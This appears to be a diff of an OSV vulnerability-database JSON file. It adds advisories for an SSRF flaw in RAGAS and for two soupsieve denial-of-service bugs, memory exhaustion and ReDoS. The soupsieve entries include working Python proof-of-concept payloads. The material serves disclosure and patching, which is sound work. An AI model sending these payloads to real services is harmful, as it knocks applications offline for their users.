"ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0.2.3" + }, + { + "last_affected": "0.4.3" + } + ] + } + ], + "versions": [ + "0.2.10", + "0.2.11", + "0.2.12", + "0.2.13", + "0.2.14", + "0.2.15", + "0.2.3", + "0.2.4", + "0.2.5", + "0.2.6", + "0.2.7", + "0.2.8", + "0.2.9", + "0.3.0", + "0.3.0rc2", + "0.3.1", + "0.3.2", + "0.3.2rc1", + "0.3.2rc2", + "0.3.2rc3", + "0.3.3", + "0.3.3rc1", + "0.3.4", + "0.3.5", + "0.3.5rc1", + "0.3.5rc2", + "0.3.6", + "0.3.7", + "0.3.8", + "0.3.9", + "0.4.0", + "0.4.1", + "0.4.2", + "0.4.3" + ], + "database_specific": { + "source": "https://github.com/pypa/advisory-database/blob/main/vulns/ragas/PYSEC-2026-3046.yaml" + } + } + ], + "references": [ + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-6587" + }, + { + "type": "WEB", + "url": "https://adithyanak.com/ragas-v0214-arbitrary-file-read-vulnerability" + }, + { + "type": "PACKAGE", + "url": "https://github.com/vibrantlabsai/ragas" + }, + { + "type": "WEB", + "url": "https://vuldb.com/submit/791088" + }, + { + "type": "WEB", + "url": "https://vuldb.com/vuln/358222" + }, + { + "type": "WEB", + "url": "https://vuldb.com/vuln/358222/cti" + }, + { + "type": "PACKAGE", + "url": "https://pypi.org/project/ragas" + }, + { + "type": "ADVISORY", + "url": "https://github.com/advisories/GHSA-95ww-475f-pr4f" + } + ] + }, + { + "modified": "2026-07-13T16:42:34Z", "published": "2026-04-20T00:30:13Z", "schema_version": "1.7.5", "id": "GHSA-95ww-475f-pr4f", "aliases": [ - "CVE-2026-6587" + "CVE-2026-6587", + "PYSEC-2026-3046" ], "summary": "RAGAS has SSRF via Multi-Modal Faithfulness Collections Module", "details": "A security flaw has been discovered in vibrantlabsai RAGAS up to 0.4.3. The affected element is the function _try_process_local_file/_try_process_url of the file src/ragas/metrics/collections/multi_modal_faithfulness/util.py of the component Collections Module. Performing a manipulation of the argument retrieved_contexts results in server-side request forgery. The attack can be initiated remotely. The exploit has been released to the public and may be used for attacks. The security patch for CVE-2025-45691 was applied to a different module only. The vendor was contacted early about this disclosure but did not respond in any way.", @@ -8767,11 +5143,13 @@ "groups": [ { "ids": [ + "PYSEC-2026-3046", "GHSA-95ww-475f-pr4f" ], "aliases": [ "CVE-2026-6587", - "GHSA-95ww-475f-pr4f" + "GHSA-95ww-475f-pr4f", + "PYSEC-2026-3046" ], "max_severity": "6.3" } @@ -9066,6 +5444,510 @@ "version": "2.8.3", "ecosystem": "PyPI" }, + "vulnerabilities": [ + { + "modified": "2026-07-13T16:31:33Z", + "published": "2026-07-13T15:46:30Z", + "schema_version": "1.7.5", + "id": "PYSEC-2026-3071", + "aliases": [ + "CVE-2026-49476", + "GHSA-2wc2-fm75-p42x" + ], + "summary": "Soup Sieve has Memory Exhaustion via Large Comma-Separated Selector Lists", + "details": "### Summary\n\nThe CSS selector parser in soupsieve (the CSS selector engine for Beautiful Soup 4) allocates unbounded memory when compiling large comma-separated selector lists. An attacker who can supply a crafted CSS selector string to `soupsieve.compile()` or Beautiful Soup's `.select()` / `.select_one()` can cause the application to allocate hundreds of megabytes of heap memory from a relatively small input, leading to memory exhaustion and denial of service.\n\nTo be completely transparent, AI tools helped surface this issue. However, it was independently reproduced and carefully validated. Researchers follow responsible disclosure practices and originally shared this report privately.\n\nA **500 KB** selector string triggers allocation of approximately **244 MB** of heap memory - a 488x\u2014 amplification ratio**.\n\n### Details\n\n**Affected code:** `soupsieve/css_parser.py`, lines ~204, 925, 1106\n\nThe soupsieve CSS parser splits comma-separated selector lists and creates one `CSSSelector` object per list item. Each `CSSSelector` object contains parsed selector data structures including `SelectorList`, `Selector`, and associated tag/attribute/pseudo-class metadata.\n\nWhen a selector string such as `a,a,a,...` (with 250,000 comma-separated items) is passed to `sv.compile()`, the parser:\n\n1. Tokenises the entire string and identifies each comma-delimited segment (line ~1106)\n2. Parses each segment into a full `Selector` object with all associated metadata (line ~925)\n3. Stores all parsed selectors in a `SelectorList` (line ~204)\n\n**Root cause:** No limit is enforced on the number of selectors in a comma-separated list. The parser will attempt to parse and store an arbitrary number of selectors, with each selector object consuming approximately **976 bytes** of heap memory. The total allocation scales linearly with the number of list items, but the amplification ratio (output memory / input bytes) is extremely high because each single-character selector like `a` expands into a complex object graph.\n\n**Attack surface:** Any application that passes user-supplied CSS selectors to `soupsieve.compile()` or Beautiful Soup's `.select()` / `.select_one()`.\n\n### Proof of Concept\n\n```python\nimport tracemalloc\nimport soupsieve as sv\n\ntracemalloc.start()\n\n# Build a 500 KB selector string: \"a,a,a,...,a\" (250,000 items)\ncount = 250_000\nselector = \",\".join(\"a\" for _ in range(count))\nprint(f\"Selector string size: {len(selector):,} bytes ({len(selector) / 1024:.0f} KB)\")\n\n# Compile the selector \u00e2\u20ac\u201d this allocates ~244 MB\ncompiled = sv.compile(selector)\n\ncurrent, peak = tracemalloc.get_traced_memory()\ntracemalloc.stop()\n\nprint(f\"Compiled selector count: {len(compiled.selectors):,}\")\nprint(f\"Current memory: {current / 1024 / 1024:.1f} MB\")\nprint(f\"Peak memory: {peak / 1024 / 1024:.1f} MB\")\nprint(f\"Amplification ratio: {peak / len(selector):.0f}x\")\n\n# Expected output:\n# Selector string size: 499,999 bytes (488 KB)\n# Compiled selector count: 250,000\n# Current memory: ~244 MB\n# Peak memory: ~244 MB\n# Amplification ratio: ~488x\n```\n\n### Impact\n\n**Severity: High**\n\nAn attacker can exhaust available memory on any server-side Python application that compiles user-supplied CSS selectors via soupsieve. This can cause:\n\n- **OOM kills** in containerised deployments (Kubernetes pods, Docker containers) with memory limits\n- **Swap thrashing** on bare-metal servers, degrading performance for all co-located processes\n- **Process termination** via Python's `MemoryError` exception if the system runs out of addressable memory\n\n| Parameter | Value |\n|---|---|\n| Input size | ~500 KB selector string |\n| Memory allocated | ~244 MB |\n| Amplification ratio | ~488\u00c3\u2014 |\n| Per-object overhead | ~976 bytes per selector |\n| Authentication required | None |\n| User interaction required | None |\n\n**Scalability of attack:** The memory allocation scales linearly - doubling the selector count doubles memory usage. An attacker can tune the payload to exactly exhaust a target's memory limits. Multiple concurrent requests multiply the effect.\n\n**Downstream exposure:** soupsieve is an automatic dependency of `beautifulsoup4`, one of the most widely installed Python packages. Any web application accepting CSS selectors from users (e.g., web scraping APIs, content filtering tools, CMS preview features) is potentially affected.\n\n---\n### Credit\n\nDiscovered by a security research team from the University of Sydney, focused on detecting open source software vulnerabilities.\nLiyi Zhou: https://lzhou1110.github.io/\nZiyue Wang: https://zyy0530.github.io/\nStrick: https://str1ckl4nd.github.io/\nMaurice: https://maurice.busystar.org/\nChenchen Yu: https://7thparkk.github.io/", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" + } + ], + "affected": [ + { + "package": { + "ecosystem": "PyPI", + "name": "soupsieve", + "purl": "pkg:pypi/soupsieve" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "2.8.4" + } + ] + } + ], + "versions": [ + "0.4", + "0.5", + "0.5.1", + "0.5.2", + "0.5.3", + "0.6", + "1.0", + "1.0.1", + "1.0.2", + "1.0b1", + "1.0b2", + "1.1", + "1.2", + "1.2.1", + "1.3", + "1.3.1", + "1.4", + "1.5", + "1.6", + "1.6.1", + "1.6.2", + "1.7", + "1.7.1", + "1.7.2", + "1.7.3", + "1.8", + "1.9", + "1.9.1", + "1.9.2", + "1.9.3", + "1.9.4", + "1.9.5", + "1.9.6", + "2.0", + "2.0.1", + "2.1", + "2.2", + "2.2.1", + "2.3", + "2.3.1", + "2.3.2", + "2.3.2.post1", + "2.4", + "2.4.1", + "2.5", + "2.6", + "2.7", + "2.8", + "2.8.1", + "2.8.2", + "2.8.3" + ], + "database_specific": { + "source": "https://github.com/pypa/advisory-database/blob/main/vulns/soupsieve/PYSEC-2026-3071.yaml" + } + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/facelessuser/soupsieve/security/advisories/GHSA-2wc2-fm75-p42x" + }, + { + "type": "PACKAGE", + "url": "https://github.com/facelessuser/soupsieve" + }, + { + "type": "PACKAGE", + "url": "https://pypi.org/project/soupsieve" + }, + { + "type": "ADVISORY", + "url": "https://github.com/advisories/GHSA-2wc2-fm75-p42x" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-49476" + } + ] + }, + { + "modified": "2026-07-13T16:31:33Z", + "published": "2026-07-13T15:46:30Z", + "schema_version": "1.7.5", + "id": "PYSEC-2026-3072", + "aliases": [ + "CVE-2026-49477", + "GHSA-836r-79rf-4m37" + ], + "summary": "Soup Sieve: Regular Expression Denial of Service (ReDoS) via Selector Parser", + "details": "### Summary\n\nThe CSS selector parser in soupsieve (the CSS selector engine for Beautiful Soup 4) contains a regular expression vulnerable to catastrophic backtracking. When processing an attribute selector with an unterminated quoted value, the `VALUE` regex pattern in `css_parser.py` enters exponential backtracking. A payload of only **300 bytes** causes the regex engine to hang for **over 3 seconds**, enabling a trivial Regular Expression Denial of Service (ReDoS) attack.\n\nTo be completely transparent, AI tools helped surface this issue. However, this was independently reproduced and carefully validated.\n\nAny application that passes untrusted CSS selector strings to `soupsieve.compile()` or Beautiful Soup's `.select()` / `.select_one()` is affected.\n\n### Details\n\n**Affected code:** `soupsieve/css_parser.py`, line ~121 - `RE_VALUES` / `VALUE` regex pattern\n\nThe soupsieve CSS parser uses a compiled regular expression to tokenise attribute selector values. This pattern matches both quoted strings (`\"value\"` or `'value'`) and unquoted identifiers. The regex contains alternation branches for:\n\n1. Double-quoted strings: `\"[^\"\\\\]*(?:\\\\.[^\"\\\\]*)*\"`\n2. Single-quoted strings: `'[^'\\\\]*(?:\\\\.[^'\\\\]*)*'`\n3. Unquoted identifiers\n\nWhen an attribute selector contains an **unterminated quoted value** - e.g., `[a=\"xxxx...` (opening `\"` but no closing `\"`) -\u201d the regex engine attempts to match the quoted-string branch. After that branch fails (no closing quote), the engine backtracks and attempts to match the remaining input against subsequent alternation branches and parent patterns. The structure of the pattern causes **catastrophic backtracking** where the number of backtracking steps grows exponentially with the length of the content between the opening quote and the end of the string.\n\n**Root cause:** The regex pattern does not anchor or guard against the case where a quoted string is never terminated. The overlapping character classes across alternation branches create exponential backtracking when the quoted-string branch fails on long input.\n\n**Key characteristics:**\n- **Input size:** Only 300 bytes are needed to trigger a >3 second hang\n- **Amplification:** Each additional character approximately doubles the backtracking time\n- **No memory impact:** The attack consumes CPU only (regex backtracking is compute-bound)\n\n### Proof of Concept\n\n```python\nimport time\nimport soupsieve as sv\n\nPAYLOAD_LEN = 300\n\n# Control: well-formed selector with terminated quote (completes instantly)\nwell_formed = '[a=\"' + ('x' * PAYLOAD_LEN) + '\"]'\nstart = time.perf_counter()\ntry:\n sv.compile(well_formed)\nexcept Exception:\n pass\ncontrol_time = time.perf_counter() - start\nprint(f\"Well-formed selector ({len(well_formed)} bytes): {control_time:.4f}s\")\n\n# Exploit: unterminated quote triggers catastrophic regex backtracking\nmalformed = '[a=\"' + ('x' * PAYLOAD_LEN)\nstart = time.perf_counter()\ntry:\n sv.compile(malformed) # WARNING: This will hang for >3 seconds\nexcept Exception:\n pass\nexploit_time = time.perf_counter() - start\nprint(f\"Malformed selector ({len(malformed)} bytes): {exploit_time:.4f}s\")\n\nslowdown = exploit_time / max(control_time, 1e-9)\nprint(f\"Slowdown: {slowdown:.0f}x\")\n\n# Expected output:\n# Well-formed selector (306 bytes): ~0.001s\n# Malformed selector (304 bytes): >3.0s (may need to be killed)\n# Slowdown: >3000x\n#\n# NOTE: On some systems the malformed selector may hang indefinitely.\n# Use a timeout mechanism (signal.alarm, threading.Timer) when testing.\n```\n\n**Safe testing variant with timeout:**\n\n```python\nimport signal\nimport soupsieve as sv\n\ndef timeout_handler(signum, frame):\n raise TimeoutError(\"ReDoS confirmed: regex backtracking exceeded timeout\")\n\nPAYLOAD_LEN = 300\nmalformed = '[a=\"' + ('x' * PAYLOAD_LEN)\n\nsignal.signal(signal.SIGALRM, timeout_handler)\nsignal.alarm(3) # 3-second timeout\n\ntry:\n sv.compile(malformed)\n print(\"Selector compiled (not vulnerable)\")\nexcept TimeoutError as e:\n print(f\"VULNERABLE: {e}\")\nexcept Exception as e:\n print(f\"Other error: {e}\")\nfinally:\n signal.alarm(0) # Cancel the alarm\n```\n\n### Impact\n\n**Severity: High**\n\nAn attacker can cause CPU exhaustion on any server-side Python application that compiles user-supplied CSS selectors via soupsieve. The attack is particularly dangerous because:\n\n1. **Tiny payload:** Only 300 bytes are needed - well within typical URL parameter, form field, or API request limits\n2. **No special characters:** The payload consists entirely of printable ASCII characters (`[a=\"xxx...`)\n3. **Exponential scaling:** Each additional byte approximately doubles the backtracking time, making the attack easily tuneable\n4. **Thread blocking:** The regex engine blocks the calling thread with no opportunity for interruption (except via OS signals)\n\n| Parameter | Value |\n|---|---|\n| Input size | 300 bytes |\n| CPU time consumed | >3 seconds (exponential with payload length) |\n| Memory consumed | Negligible (CPU-only attack) |\n| Authentication required | None |\n| User interaction required | None |\n\n**Deployment impact:** In threaded or async web applications, a single malicious request blocks a worker thread for the duration of the backtracking. An attacker can submit multiple concurrent requests to exhaust all available workers, causing complete service denial. The small payload size makes the attack easy to deliver and difficult to detect via request size limits.\n\n**Downstream exposure:** soupsieve is an automatic dependency of `beautifulsoup4`, one of the most widely installed Python packages. Any web application, API, or service that accepts CSS selectors from users is potentially affected.\n\n---\n\n### Credit\n\nThe vulnerability was discovered by a security research team from the University of Sydney, whose focus is detecting open source software vulnerabilities.\nLiyi Zhou: https://lzhou1110.github.io/\nZiyue Wang: https://zyy0530.github.io/\nStrick: https://str1ckl4nd.github.io/\nMaurice: https://maurice.busystar.org/\nChenchen Yu: https://7thparkk.github.io/", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" + } + ], + "affected": [ + { + "package": { + "ecosystem": "PyPI", + "name": "soupsieve", + "purl": "pkg:pypi/soupsieve" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "2.8.4" + } + ] + } + ], + "versions": [ + "0.4", + "0.5", + "0.5.1", + "0.5.2", + "0.5.3", + "0.6", + "1.0", + "1.0.1", + "1.0.2", + "1.0b1", + "1.0b2", + "1.1", + "1.2", + "1.2.1", + "1.3", + "1.3.1", + "1.4", + "1.5", + "1.6", + "1.6.1", + "1.6.2", + "1.7", + "1.7.1", + "1.7.2", + "1.7.3", + "1.8", + "1.9", + "1.9.1", + "1.9.2", + "1.9.3", + "1.9.4", + "1.9.5", + "1.9.6", + "2.0", + "2.0.1", + "2.1", + "2.2", + "2.2.1", + "2.3", + "2.3.1", + "2.3.2", + "2.3.2.post1", + "2.4", + "2.4.1", + "2.5", + "2.6", + "2.7", + "2.8", + "2.8.1", + "2.8.2", + "2.8.3" + ], + "database_specific": { + "source": "https://github.com/pypa/advisory-database/blob/main/vulns/soupsieve/PYSEC-2026-3072.yaml" + } + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/facelessuser/soupsieve/security/advisories/GHSA-836r-79rf-4m37" + }, + { + "type": "PACKAGE", + "url": "https://github.com/facelessuser/soupsieve" + }, + { + "type": "PACKAGE", + "url": "https://pypi.org/project/soupsieve" + }, + { + "type": "ADVISORY", + "url": "https://github.com/advisories/GHSA-836r-79rf-4m37" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-49477" + } + ] + }, + { + "modified": "2026-07-13T16:43:32Z", + "published": "2026-07-09T13:37:40Z", + "schema_version": "1.7.5", + "id": "GHSA-2wc2-fm75-p42x", + "aliases": [ + "CVE-2026-49476", + "PYSEC-2026-3071" + ], + "related": [ + "CGA-fqw6-g84h-prc6" + ], + "summary": "Soup Sieve has Memory Exhaustion via Large Comma-Separated Selector Lists", + "details": "### Summary\n\nThe CSS selector parser in soupsieve (the CSS selector engine for Beautiful Soup 4) allocates unbounded memory when compiling large comma-separated selector lists. An attacker who can supply a crafted CSS selector string to `soupsieve.compile()` or Beautiful Soup's `.select()` / `.select_one()` can cause the application to allocate hundreds of megabytes of heap memory from a relatively small input, leading to memory exhaustion and denial of service.\n\nTo be completely transparent, AI tools helped surface this issue. However, it was independently reproduced and carefully validated. Researchers follow responsible disclosure practices and originally shared this report privately.\n\nA **500 KB** selector string triggers allocation of approximately **244 MB** of heap memory - a 488x\u2014 amplification ratio**.\n\n### Details\n\n**Affected code:** `soupsieve/css_parser.py`, lines ~204, 925, 1106\n\nThe soupsieve CSS parser splits comma-separated selector lists and creates one `CSSSelector` object per list item. Each `CSSSelector` object contains parsed selector data structures including `SelectorList`, `Selector`, and associated tag/attribute/pseudo-class metadata.\n\nWhen a selector string such as `a,a,a,...` (with 250,000 comma-separated items) is passed to `sv.compile()`, the parser:\n\n1. Tokenises the entire string and identifies each comma-delimited segment (line ~1106)\n2. Parses each segment into a full `Selector` object with all associated metadata (line ~925)\n3. Stores all parsed selectors in a `SelectorList` (line ~204)\n\n**Root cause:** No limit is enforced on the number of selectors in a comma-separated list. The parser will attempt to parse and store an arbitrary number of selectors, with each selector object consuming approximately **976 bytes** of heap memory. The total allocation scales linearly with the number of list items, but the amplification ratio (output memory / input bytes) is extremely high because each single-character selector like `a` expands into a complex object graph.\n\n**Attack surface:** Any application that passes user-supplied CSS selectors to `soupsieve.compile()` or Beautiful Soup's `.select()` / `.select_one()`.\n\n### Proof of Concept\n\n```python\nimport tracemalloc\nimport soupsieve as sv\n\ntracemalloc.start()\n\n# Build a 500 KB selector string: \"a,a,a,...,a\" (250,000 items)\ncount = 250_000\nselector = \",\".join(\"a\" for _ in range(count))\nprint(f\"Selector string size: {len(selector):,} bytes ({len(selector) / 1024:.0f} KB)\")\n\n# Compile the selector \u00e2\u20ac\u201d this allocates ~244 MB\ncompiled = sv.compile(selector)\n\ncurrent, peak = tracemalloc.get_traced_memory()\ntracemalloc.stop()\n\nprint(f\"Compiled selector count: {len(compiled.selectors):,}\")\nprint(f\"Current memory: {current / 1024 / 1024:.1f} MB\")\nprint(f\"Peak memory: {peak / 1024 / 1024:.1f} MB\")\nprint(f\"Amplification ratio: {peak / len(selector):.0f}x\")\n\n# Expected output:\n# Selector string size: 499,999 bytes (488 KB)\n# Compiled selector count: 250,000\n# Current memory: ~244 MB\n# Peak memory: ~244 MB\n# Amplification ratio: ~488x\n```\n\n### Impact\n\n**Severity: High**\n\nAn attacker can exhaust available memory on any server-side Python application that compiles user-supplied CSS selectors via soupsieve. This can cause:\n\n- **OOM kills** in containerised deployments (Kubernetes pods, Docker containers) with memory limits\n- **Swap thrashing** on bare-metal servers, degrading performance for all co-located processes\n- **Process termination** via Python's `MemoryError` exception if the system runs out of addressable memory\n\n| Parameter | Value |\n|---|---|\n| Input size | ~500 KB selector string |\n| Memory allocated | ~244 MB |\n| Amplification ratio | ~488\u00c3\u2014 |\n| Per-object overhead | ~976 bytes per selector |\n| Authentication required | None |\n| User interaction required | None |\n\n**Scalability of attack:** The memory allocation scales linearly - doubling the selector count doubles memory usage. An attacker can tune the payload to exactly exhaust a target's memory limits. Multiple concurrent requests multiply the effect.\n\n**Downstream exposure:** soupsieve is an automatic dependency of `beautifulsoup4`, one of the most widely installed Python packages. Any web application accepting CSS selectors from users (e.g., web scraping APIs, content filtering tools, CMS preview features) is potentially affected.\n\n---\n### Credit\n\nDiscovered by a security research team from the University of Sydney, focused on detecting open source software vulnerabilities.\nLiyi Zhou: https://lzhou1110.github.io/\nZiyue Wang: https://zyy0530.github.io/\nStrick: https://str1ckl4nd.github.io/\nMaurice: https://maurice.busystar.org/\nChenchen Yu: https://7thparkk.github.io/", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" + } + ], + "affected": [ + { + "package": { + "ecosystem": "PyPI", + "name": "soupsieve", + "purl": "pkg:pypi/soupsieve" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "2.8.4" + } + ] + } + ], + "versions": [ + "0.4", + "0.5", + "0.5.1", + "0.5.2", + "0.5.3", + "0.6", + "1.0", + "1.0.1", + "1.0.2", + "1.0b1", + "1.0b2", + "1.1", + "1.2", + "1.2.1", + "1.3", + "1.3.1", + "1.4", + "1.5", + "1.6", + "1.6.1", + "1.6.2", + "1.7", + "1.7.1", + "1.7.2", + "1.7.3", + "1.8", + "1.9", + "1.9.1", + "1.9.2", + "1.9.3", + "1.9.4", + "1.9.5", + "1.9.6", + "2.0", + "2.0.1", + "2.1", + "2.2", + "2.2.1", + "2.3", + "2.3.1", + "2.3.2", + "2.3.2.post1", + "2.4", + "2.4.1", + "2.5", + "2.6", + "2.7", + "2.8", + "2.8.1", + "2.8.2", + "2.8.3" + ], + "database_specific": { + "last_known_affected_version_range": "<= 2.8.3", + "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-2wc2-fm75-p42x/GHSA-2wc2-fm75-p42x.json" + } + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/facelessuser/soupsieve/security/advisories/GHSA-2wc2-fm75-p42x" + }, + { + "type": "PACKAGE", + "url": "https://github.com/facelessuser/soupsieve" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-400", + "CWE-770" + ], + "github_reviewed": true, + "github_reviewed_at": "2026-07-09T13:37:40Z", + "nvd_published_at": null, + "severity": "HIGH" + } + }, + { + "modified": "2026-07-13T16:42:45Z", + "published": "2026-07-09T13:37:46Z", + "schema_version": "1.7.5", + "id": "GHSA-836r-79rf-4m37", + "aliases": [ + "CVE-2026-49477", + "PYSEC-2026-3072" + ], + "related": [ + "CGA-9cx6-r7p8-hvrm" + ], + "summary": "Soup Sieve: Regular Expression Denial of Service (ReDoS) via Selector Parser", + "details": "### Summary\n\nThe CSS selector parser in soupsieve (the CSS selector engine for Beautiful Soup 4) contains a regular expression vulnerable to catastrophic backtracking. When processing an attribute selector with an unterminated quoted value, the `VALUE` regex pattern in `css_parser.py` enters exponential backtracking. A payload of only **300 bytes** causes the regex engine to hang for **over 3 seconds**, enabling a trivial Regular Expression Denial of Service (ReDoS) attack.\n\nTo be completely transparent, AI tools helped surface this issue. However, this was independently reproduced and carefully validated.\n\nAny application that passes untrusted CSS selector strings to `soupsieve.compile()` or Beautiful Soup's `.select()` / `.select_one()` is affected.\n\n### Details\n\n**Affected code:** `soupsieve/css_parser.py`, line ~121 - `RE_VALUES` / `VALUE` regex pattern\n\nThe soupsieve CSS parser uses a compiled regular expression to tokenise attribute selector values. This pattern matches both quoted strings (`\"value\"` or `'value'`) and unquoted identifiers. The regex contains alternation branches for:\n\n1. Double-quoted strings: `\"[^\"\\\\]*(?:\\\\.[^\"\\\\]*)*\"`\n2. Single-quoted strings: `'[^'\\\\]*(?:\\\\.[^'\\\\]*)*'`\n3. Unquoted identifiers\n\nWhen an attribute selector contains an **unterminated quoted value** - e.g., `[a=\"xxxx...` (opening `\"` but no closing `\"`) -\u201d the regex engine attempts to match the quoted-string branch. After that branch fails (no closing quote), the engine backtracks and attempts to match the remaining input against subsequent alternation branches and parent patterns. The structure of the pattern causes **catastrophic backtracking** where the number of backtracking steps grows exponentially with the length of the content between the opening quote and the end of the string.\n\n**Root cause:** The regex pattern does not anchor or guard against the case where a quoted string is never terminated. The overlapping character classes across alternation branches create exponential backtracking when the quoted-string branch fails on long input.\n\n**Key characteristics:**\n- **Input size:** Only 300 bytes are needed to trigger a >3 second hang\n- **Amplification:** Each additional character approximately doubles the backtracking time\n- **No memory impact:** The attack consumes CPU only (regex backtracking is compute-bound)\n\n### Proof of Concept\n\n```python\nimport time\nimport soupsieve as sv\n\nPAYLOAD_LEN = 300\n\n# Control: well-formed selector with terminated quote (completes instantly)\nwell_formed = '[a=\"' + ('x' * PAYLOAD_LEN) + '\"]'\nstart = time.perf_counter()\ntry:\n sv.compile(well_formed)\nexcept Exception:\n pass\ncontrol_time = time.perf_counter() - start\nprint(f\"Well-formed selector ({len(well_formed)} bytes): {control_time:.4f}s\")\n\n# Exploit: unterminated quote triggers catastrophic regex backtracking\nmalformed = '[a=\"' + ('x' * PAYLOAD_LEN)\nstart = time.perf_counter()\ntry:\n sv.compile(malformed) # WARNING: This will hang for >3 seconds\nexcept Exception:\n pass\nexploit_time = time.perf_counter() - start\nprint(f\"Malformed selector ({len(malformed)} bytes): {exploit_time:.4f}s\")\n\nslowdown = exploit_time / max(control_time, 1e-9)\nprint(f\"Slowdown: {slowdown:.0f}x\")\n\n# Expected output:\n# Well-formed selector (306 bytes): ~0.001s\n# Malformed selector (304 bytes): >3.0s (may need to be killed)\n# Slowdown: >3000x\n#\n# NOTE: On some systems the malformed selector may hang indefinitely.\n# Use a timeout mechanism (signal.alarm, threading.Timer) when testing.\n```\n\n**Safe testing variant with timeout:**\n\n```python\nimport signal\nimport soupsieve as sv\n\ndef timeout_handler(signum, frame):\n raise TimeoutError(\"ReDoS confirmed: regex backtracking exceeded timeout\")\n\nPAYLOAD_LEN = 300\nmalformed = '[a=\"' + ('x' * PAYLOAD_LEN)\n\nsignal.signal(signal.SIGALRM, timeout_handler)\nsignal.alarm(3) # 3-second timeout\n\ntry:\n sv.compile(malformed)\n print(\"Selector compiled (not vulnerable)\")\nexcept TimeoutError as e:\n print(f\"VULNERABLE: {e}\")\nexcept Exception as e:\n print(f\"Other error: {e}\")\nfinally:\n signal.alarm(0) # Cancel the alarm\n```\n\n### Impact\n\n**Severity: High**\n\nAn attacker can cause CPU exhaustion on any server-side Python application that compiles user-supplied CSS selectors via soupsieve. The attack is particularly dangerous because:\n\n1. **Tiny payload:** Only 300 bytes are needed - well within typical URL parameter, form field, or API request limits\n2. **No special characters:** The payload consists entirely of printable ASCII characters (`[a=\"xxx...`)\n3. **Exponential scaling:** Each additional byte approximately doubles the backtracking time, making the attack easily tuneable\n4. **Thread blocking:** The regex engine blocks the calling thread with no opportunity for interruption (except via OS signals)\n\n| Parameter | Value |\n|---|---|\n| Input size | 300 bytes |\n| CPU time consumed | >3 seconds (exponential with payload length) |\n| Memory consumed | Negligible (CPU-only attack) |\n| Authentication required | None |\n| User interaction required | None |\n\n**Deployment impact:** In threaded or async web applications, a single malicious request blocks a worker thread for the duration of the backtracking. An attacker can submit multiple concurrent requests to exhaust all available workers, causing complete service denial. The small payload size makes the attack easy to deliver and difficult to detect via request size limits.\n\n**Downstream exposure:** soupsieve is an automatic dependency of `beautifulsoup4`, one of the most widely installed Python packages. Any web application, API, or service that accepts CSS selectors from users is potentially affected.\n\n---\n\n### Credit\n\nThe vulnerability was discovered by a security research team from the University of Sydney, whose focus is detecting open source software vulnerabilities.\nLiyi Zhou: https://lzhou1110.github.io/\nZiyue Wang: https://zyy0530.github.io/\nStrick: https://str1ckl4nd.github.io/\nMaurice: https://maurice.busystar.org/\nChenchen Yu: https://7thparkk.github.io/", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" + } + ], + "affected": [ + { + "package": { + "ecosystem": "PyPI", + "name": "soupsieve", + "purl": "pkg:pypi/soupsieve" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "2.8.4" + } + ] + } + ], + "versions": [ + "0.4", + "0.5", + "0.5.1", + "0.5.2", + "0.5.3", + "0.6", + "1.0", + "1.0.1", + "1.0.2", + "1.0b1", + "1.0b2", + "1.1", + "1.2", + "1.2.1", + "1.3", + "1.3.1", + "1.4", + "1.5", + "1.6", + "1.6.1", + "1.6.2", + "1.7", + "1.7.1", + "1.7.2", + "1.7.3", + "1.8", + "1.9", + "1.9.1", + "1.9.2", + "1.9.3", + "1.9.4", + "1.9.5", + "1.9.6", + "2.0", + "2.0.1", + "2.1", + "2.2", + "2.2.1", + "2.3", + "2.3.1", + "2.3.2", + "2.3.2.post1", + "2.4", + "2.4.1", + "2.5", + "2.6", + "2.7", + "2.8", + "2.8.1", + "2.8.2", + "2.8.3" + ], + "database_specific": { + "last_known_affected_version_range": "<= 2.8.3", + "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-836r-79rf-4m37/GHSA-836r-79rf-4m37.json" + } + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/facelessuser/soupsieve/security/advisories/GHSA-836r-79rf-4m37" + }, + { + "type": "PACKAGE", + "url": "https://github.com/facelessuser/soupsieve" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-1333", + "CWE-400" + ], + "github_reviewed": true, + "github_reviewed_at": "2026-07-09T13:37:46Z", + "nvd_published_at": null, + "severity": "HIGH" + } + } + ], + "groups": [ + { + "ids": [ + "PYSEC-2026-3071", + "GHSA-2wc2-fm75-p42x" + ], + "aliases": [ + "CVE-2026-49476", + "GHSA-2wc2-fm75-p42x", + "PYSEC-2026-3071" + ], + "max_severity": "7.5" + }, + { + "ids": [ + "PYSEC-2026-3072", + "GHSA-836r-79rf-4m37" + ], + "aliases": [ + "CVE-2026-49477", + "GHSA-836r-79rf-4m37", + "PYSEC-2026-3072" + ], + "max_severity": "7.5" + } + ], "licenses": [ "MIT" ] @@ -9291,7 +6173,7 @@ ] }, { - "modified": "2026-06-13T10:56:03Z", + "modified": "2026-07-06T23:00:09Z", "published": "2026-05-19T20:10:53Z", 